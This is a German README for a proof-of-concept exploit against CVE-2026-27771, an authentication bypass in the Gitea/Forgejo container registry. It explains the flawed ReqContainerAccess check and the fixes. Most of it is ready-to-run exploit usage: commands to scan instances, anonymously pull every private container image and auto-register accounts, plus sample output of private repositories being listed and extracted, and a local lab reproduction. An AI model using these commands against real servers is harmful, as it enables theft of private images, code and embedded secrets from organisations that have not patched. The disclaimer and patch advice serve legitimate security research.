
CVE-2026-27771 - Gitea/Forgejo Container Registry Auth Bypass Exploit PoC - Private Container-Images ohne Authentifizierung ziehen
CVSS: N/A (nicht veröffentlicht)
Betrifft: Gitea < 1.26.2 (alle Versionen mit OCI-Container-Registry)
Betrifft ebenfalls: Forgejo (bestätigt durch NoScope)
Entdeckt von: NoScope
Behoben in: Gitea v1.26.2 (20. Mai 2026)
Haftungsausschluss: Dieser Proof-of-Concept dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitsforschung. Unautorisierter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Verantwortung für Missbrauch dieses Codes. Testen Sie nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Erlaubnis zum Testen haben.
Nicht authentifizierte entfernte Angreifer können private Container-Images von Gitea-Instanzen abrufen. Die OCI-Distribution-Spec-API-Endpunkte (/v2/<name>/manifests/<ref>, /v2/<name>/blobs/<digest>) liefern Inhalte an Geister-/anonyme Benutzer (UserID: -1), ohne die Sichtbarkeit (privat/begrenzt/öffentlich) des Container-Paketbesitzers zu überprüfen.
NoScope identifizierte ~31.750+ internetfähige Instanzen in über 30 Ländern. Der Fehler blieb ~4 Jahre unentdeckt.
Die Schwachstelle befindet sich in der Middleware ReqContainerAccess (routers/api/packages/container/container.go):
// v1.25.4 — anfällig
func ReqContainerAccess(ctx *context.Context) {
if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
apiUnauthorizedError(ctx)
}
}
Diese prüft nur:
ctx.Doer nil? (nicht authentifizierte Anfrage ohne Token)RequireSignInViewStrict aktiviert UND ist der Benutzer ein Geist?Sie prüft nicht die Sichtbarkeitseinstellung des Paketbesitzers (VisibleTypePublic, VisibleTypeLimited, VisibleTypePrivate). Ein Geisterbenutzer (UserID: -1) mit leerem Gültigkeitsbereich gelangt direkt durch und kann auf jedes Container-Paket zugreifen.
Der Endpunkt /v2/token (Funktion Authenticate) gewährt anonyme Token ohne Anmeldeinformationen, wenn RequireSignInViewStrict auf false gesetzt ist.
Zwei Korrekturen wurden in 1.26.2 eingeführt:
PR #37290 — Bedingter Basic realm-Header in apiUnauthorizedError – verhindert das Senden von Basic realm bei öffentlichen Instanzen, um Docker-Clients nicht zu verwirren, sowie eine Sichtbarkeitsprüfung pro Besitzer in der Authentifizierungsaufforderung.
PR #37610 — Paketsichtbarkeitslabels + Composer-Quellberechtigungsprüfung – fügt das zugrunde liegende Berechtigungsmodell für Pakete hinzu. Ohne diese Labels gab es keine Möglichkeit, private/interne/öffentliche Pakete im Berechtigungspfad zu unterscheiden.
[service]
REQUIRE_SIGNIN_VIEW = true
Dies blockiert allen anonymen Zugriff (einschließlich öffentlicher Repos), was den Exploit-Pfad schließt. Allerdings ist das zugrunde liegende Berechtigungsmodell immer noch defekt – jeder authentifizierte Benutzer kann weiterhin auf alle Pakete zugreifen. Führen Sie ein Upgrade auf 1.26.2+ für die echte Korrektur durch.
python3 CVE-2026-27771-exploit.py scan <url> # Repos/Tags entdecken
python3 CVE-2026-27771-exploit.py scan <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py pull <url> # Alle Images abrufen
python3 CVE-2026-27771-exploit.py pull <url> --repo owner/image # Bestimmtes Repo abrufen
python3 CVE-2026-27771-exploit.py pull <url> --dry-run # Anzeigen, was abgerufen würde
python3 CVE-2026-27771-exploit.py pull <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py register <url> --username u --password p --email [email protected]
# Verwundbare Instanz scannen
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com
# Alle privaten Container-Images abrufen (anonym)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com
# Mit persönlichem Zugriffstoken abrufen (für REQUIRE_SIGNIN_VIEW-Instanzen)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
--token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser
# Automatische Registrierung auf Instanzen ohne Captcha
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
--username myuser --password mypass --email [email protected]
/v2/-Endpunkt, erkennt Verfügbarkeit der Registrierung, erhält anonymes Token oder tauscht PAT gegen JWT/v2/_catalog auf (gibt ALLE Repos – öffentliche und private – aufgrund defekter Sichtbarkeit zurück)pulled_<repo>/extracted/REQUIRE_SIGNIN_VIEW=false, wird ein Geister-Token ohne Anmeldeinformationen abgerufen--token ein 40-stelliger Hex-String ist, wird er automatisch über Basic Auth gegen ein OCI-JWT ausgetauscht--token Punkte enthält, wird es direkt als Bearer-Token verwendet[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)
[*] Container repositories: 3
acme/production-app: tags=['latest', 'v2.1.0']
acme/internal-db: tags=['latest', 'v1.3.0']
team-xyz/secret-ml-model: tags=['v0.9.2']
[acme/production-app]
Tags: ['latest']
└─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
[1/12] sha256_a1b2c3... (28.4 MB)
...
manifests saved
extracted 39862 files to pulled_acme_production-app/extracted
# 1. Gitea 1.25.x mit Docker bereitstellen (anfällige Version)
docker run -d --name gitea-vuln -p 3000:3000 \
-e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
gitea/gitea:1.25.4
# 2. Benutzer erstellen und privates Docker-Image pushen
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest
# 3. Exploit ausführen (keine Anmeldeinformationen)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000
# Der Exploit wird testuser/secret-app finden und alle Layer herunterladen.
# Dateien befinden sich in pulled_testuser_secret-app/extracted/
# Auf gepatchte Version aktualisieren
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
gitea/gitea:1.26.2
# Anonymer Token sollte verweigert werden (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# Erwartet: "Version >= 1.26.2 (patched)"